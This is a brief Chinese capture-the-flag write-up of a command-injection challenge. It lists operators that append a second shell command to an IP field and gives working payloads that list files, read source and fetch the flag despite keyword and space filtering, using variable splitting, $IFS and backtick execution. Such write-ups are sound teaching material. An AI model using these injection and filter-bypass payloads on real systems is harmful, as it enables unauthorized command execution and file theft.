1.打开环境,发现考点是RCE
这种题就五种写法:
127.0.0.1&&+code 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
127.0.0.1&+code &表示将任务置于后台执行
127.0.0.1||+code 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
127.0.0.1|+code | 表示管道,上一条命令的输出,作为下一条命令的参数
127.0.0.1;+code 多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
用127.0.0.1;ls读取到flag.php和index.php
再用127.0.0.1;cat$IFS$1index.php读到index.php的源码
发现过滤了很多东西,其中flag是一个一个匹配的,所以不能用\或'绕过
有两种payload:
1.字符串拼接
127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php
#注意空格可以用$IFS$1,${IFS},$IFS$9代替
#注意变量a,b的顺序不能反过来
2.内联执行
127.0.0.1;cat$IFS$1`ls`
#反引号在linux中代表内联执行,会返回ls结果的所有cat的结果